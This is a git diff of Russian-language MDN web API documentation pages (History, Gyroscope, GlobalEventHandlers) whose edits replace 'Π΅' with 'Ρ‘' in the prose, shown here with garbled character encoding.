-<p>ΠžΠΏΡƒΡΡ‚ΠΈΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ CSS, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для нас, ΠΈ рассмотрим стили для элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌ. Π­Ρ‚ΠΎ Π±Π»ΠΎΠΊ box со всСми своими свойствами, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ {{cssxref("animation")}}. ΠœΡ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈ опишСм Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ прямо здСсь, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ нСпосрСдствСнно ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы, Π½Π΅ зависимо ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ события.Β </p>
+<p>ΠžΠΏΡƒΡΡ‚ΠΈΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ CSS, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для нас, ΠΈ рассмотрим стили для элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌ. Π­Ρ‚ΠΎ Π±Π»ΠΎΠΊ box со всСми своими свойствами, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ {{cssxref("animation")}}. ΠœΡ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈ опишСм Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ прямо здСсь, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ нСпосрСдствСнно ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы, Π½Π΅ зависимо ΠΎΡ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ события.Β </p>
<pre class="brush: css">#box {
width: var(--boxwidth);
@@ -106,7 +106,7 @@ translation_of: Web/API/GlobalEventHandlers/onanimationcancel
}
</pre>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ анимация описываСтся ΠΊΠ°ΠΊ бСсконСчноС число Ρ€Π°Π·, ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΠ΅ ΠΏΠΎΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ Π½Π°Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ³Π»Π°ΠΌΠΈ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ остановится ΠΈΠ»ΠΈ страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚Π°.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ анимация описываСтся ΠΊΠ°ΠΊ бСсконСчноС число Ρ€Π°Π·, ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΠ΅ ΠΏΠΎΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΊΠΎΠ»ΡŒΠ·ΠΈΡ‚ΡŒ Π½Π°Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ³Π»Π°ΠΌΠΈ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ остановится ΠΈΠ»ΠΈ страница Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚Π°.</p>
<h3 id="JavaScript_content">JavaScript content</h3>
diff --git a/files/ru/web/api/globaleventhandlers/onerror/index.html b/files/ru/web/api/globaleventhandlers/onerror/index.html
index 327a7d0d06..e870db3c68 100644
--- a/files/ru/web/api/globaleventhandlers/onerror/index.html
+++ b/files/ru/web/api/globaleventhandlers/onerror/index.html
@@ -39,7 +39,7 @@ translation_of: Web/API/GlobalEventHandlers/onerror
<pre class="brush: js">//Β ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1:
// ΠŸΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΈ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ какая это функция ΠΎΠΊΠ½Π°, это Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅
-// ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ - ΠΏΡƒΡ‚Π΅ΠΌ пСрСопрСдСлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для событий ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅
+// ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ - ΠΏΡƒΡ‚Ρ‘ΠΌ пСрСопрСдСлСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для событий ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅
// пСрСходят ΠΎΠΊΠ½Ρƒ.
window.onerror = null;
diff --git a/files/ru/web/api/globaleventhandlers/onloadend/index.html b/files/ru/web/api/globaleventhandlers/onloadend/index.html
index 75b770e20e..6b25052a7f 100644
--- a/files/ru/web/api/globaleventhandlers/onloadend/index.html
+++ b/files/ru/web/api/globaleventhandlers/onloadend/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/GlobalEventHandlers/onloadend
---
<div>{{ApiRef}}</div>
-<p><span id="result_box" lang="ru"><span>Бвойство</span></span>Β <strong><code>onloadend</code></strong>Β  <span id="result_box" lang="ru"><span>ΠΎΡ‚ </span></span>{{domxref("GlobalEventHandlers")}} ΠΏΡ€ΠΈΠΌΠ΅ΡΡŒ {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ΄ для Π²Ρ‹Π·ΠΎΠ²Π° Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ возникновСния события</span></span> {{event("loadend")}}Β  (ΠΊΠΎΠ³Π΄Π° процСсс Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ рСсурса окончился ΠΈ остановился)</p>
+<p><span id="result_box" lang="ru"><span>Бвойство</span></span>Β <strong><code>onloadend</code></strong>Β  <span id="result_box" lang="ru"><span>ΠΎΡ‚ </span></span>{{domxref("GlobalEventHandlers")}} ΠΏΡ€ΠΈΠΌΠ΅ΡΡŒ {{domxref("EventHandler")}} <span id="result_box" lang="ru"><span>ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ΄ для Π²Ρ‹Π·ΠΎΠ²Π° Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ возникновСния события</span></span> {{event("loadend")}}Β  (ΠΊΠΎΠ³Π΄Π° процСсс Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ рСсурса окончился ΠΈ остановился)</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/gyroscope/index.html b/files/ru/web/api/gyroscope/index.html
index 83aca0334c..3399281c0c 100644
--- a/files/ru/web/api/gyroscope/index.html
+++ b/files/ru/web/api/gyroscope/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Gyroscope
---
<div>{{APIRef("Gyroscope")}}</div>
-<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интСрфСйс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a>Β Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ устройства ΠΏΠΎ всСм Ρ‚Ρ€Π΅ΠΌ осям.</span></p>
+<p><span class="seoSummary"><strong><code>Gyroscope</code></strong> интСрфСйс <a href="/docs/Web/API/Sensor_APIs">Sensor API</a>Β Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ устройства ΠΏΠΎ всСм Ρ‚Ρ€Ρ‘ΠΌ осям.</span></p>
<p>Для использования Ρ‚ΠΎΠ³ΠΎ сСнсора ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ доступ устройства ΠΊΒ <code>'gyroscope'</code>Β Ρ‡Π΅Ρ€Π΅Π· {{domxref('Permissions')}} API.</p>
diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html
index 6612072c73..c214626c13 100644
--- a/files/ru/web/api/history/go/index.html
+++ b/files/ru/web/api/history/go/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/History/go
---
<div>{{APIRef("History API")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>History.go()</code></strong> выполняСт ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ страницу Π² истории Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. Π‘ Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π²ΠΏΠ΅Ρ€Π΅Π΄, Ρ‚Π°ΠΊ ΠΈ Π½Π°Π·Π°Π΄, Π² зависимости ΠΎΡ‚ значСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>History.go()</code></strong> выполняСт ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ страницу Π² истории Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии. Π‘ Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π²ΠΏΠ΅Ρ€Ρ‘Π΄, Ρ‚Π°ΠΊ ΠΈ Π½Π°Π·Π°Π΄, Π² зависимости ΠΎΡ‚ значСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</p>
<p>Π”Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся {{glossary("asynchronous", "асинхронным")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ для события {{event("popstate")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½.</p>
@@ -23,7 +23,7 @@ translation_of: Web/API/History/go
<dl>
<dt><code>delta</code> {{optional_inline}}</dt>
- <dd>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² истории, ΠΊΡƒΠ΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ. ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ Π½Π°Π·Π°Π΄, Π° ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ -- Π²ΠΏΠ΅Ρ€Π΅Π΄. НапримСр, <code>history.go(2)</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π²ΠΏΠ΅Ρ€Π΅Π΄ Π½Π° 2 страницы, Π° <code>history.go(-2)</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π½Π° 2 страницы Π½Π°Π·Π°Π΄. Если ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½ Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈΠ»ΠΈ ΠΆΠ΅ <code>delta</code> Ρ€Π°Π²Π½Π° 0, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρƒ <code>location.reload()</code>.</dd>
+ <dd>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² истории, ΠΊΡƒΠ΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ. ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ Π½Π°Π·Π°Π΄, Π° ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ -- Π²ΠΏΠ΅Ρ€Ρ‘Π΄. НапримСр, <code>history.go(2)</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ Π½Π° 2 страницы, Π° <code>history.go(-2)</code> ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π½Π° 2 страницы Π½Π°Π·Π°Π΄. Если ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²Ρ‹Π·Π²Π°Π½ Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈΠ»ΠΈ ΠΆΠ΅ <code>delta</code> Ρ€Π°Π²Π½Π° 0, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρƒ <code>location.reload()</code>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -32,11 +32,11 @@ translation_of: Web/API/History/go
<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° страницу Π²ΠΏΠ΅Ρ€Π΅Π΄, ΠΊΠ°ΠΊ {{domxref("History.forward", "forward()")}}:</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° страницу Π²ΠΏΠ΅Ρ€Ρ‘Π΄, ΠΊΠ°ΠΊ {{domxref("History.forward", "forward()")}}:</p>
<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° 2 страницы Π²ΠΏΠ΅Ρ€Π΅Π΄:</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° 2 страницы Π²ΠΏΠ΅Ρ€Ρ‘Π΄:</p>
<pre class="brush: js notranslate">history.go(2);</pre>
diff --git a/files/ru/web/api/history/index.html b/files/ru/web/api/history/index.html
index 5418220959..c49ae6d791 100644
--- a/files/ru/web/api/history/index.html
+++ b/files/ru/web/api/history/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/History
---
<p>{{ APIRef("HTML DOM") }}</p>
-<p><em><strong>History</strong> интСрфСйс позволяСт ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… сСссии, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ историСй ΠΎ посСщСнных страницах Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π²ΠΊΠ»Π°Π΄ΠΊΠΈ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ° Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ страницы.Β </em></p>
+<p><em><strong>History</strong> интСрфСйс позволяСт ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… сСссии, Π° ΠΈΠΌΠ΅Π½Π½ΠΎ историСй ΠΎ посСщённых страницах Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π²ΠΊΠ»Π°Π΄ΠΊΠΈ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ° Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ страницы.Β </em></p>
<h2 id="Бвойства">Бвойства</h2>
@@ -39,17 +39,17 @@ translation_of: Web/API/History
</dd>
<dt>{{domxref("History.go()")}}</dt>
<dd>
- <p>Π—Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ страницу ΠΈΠ· истории сСссии, опрСдСляя Π΅Π΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: -1 для ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ страницы ΠΈΠ»ΠΈ 1 для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницы. Когда <em>integerDelta</em> Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π» (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, -1, ΠΊΠΎΠ³Π΄Π° Π½Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ посСщСнных страниц Π² истории сСссии), ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ, ΠΈ Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.Β Π’Ρ‹Π·ΠΎΠ² Go () Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΠ»ΠΈ с Π½Π΅ цСлочислСнным Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ строки URL Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°</a>).</p>
+ <p>Π—Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ страницу ΠΈΠ· истории сСссии, опрСдСляя Π΅Ρ‘ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: -1 для ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ страницы ΠΈΠ»ΠΈ 1 для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницы. Когда <em>integerDelta</em> Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π» (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, -1, ΠΊΠΎΠ³Π΄Π° Π½Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ посСщённых страниц Π² истории сСссии), ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ, ΠΈ Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅.Β Π’Ρ‹Π·ΠΎΠ² Go () Π±Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΠ»ΠΈ с Π½Π΅ цСлочислСнным Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Internet Explorer, <a href="http://msdn.microsoft.com/en-us/library/ms536443(VS.85).aspx">ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ строки URL Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°</a>).</p>
</dd>
<dt>{{domxref("History.pushState()")}} {{ gecko_minversion_inline("2.0") }}</dt>
- <dd>ΠŸΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² стСк истории сСссии с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ ΠΈ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ , URL. Π”Π°Π½Π½Ρ‹Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ DOM ΠΊΠ°ΠΊ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Π΅; Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π² настоящСС врСмя Firefox ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°; для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см.<a href="/en/DOM/Manipulating_the_browser_history"> ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>.
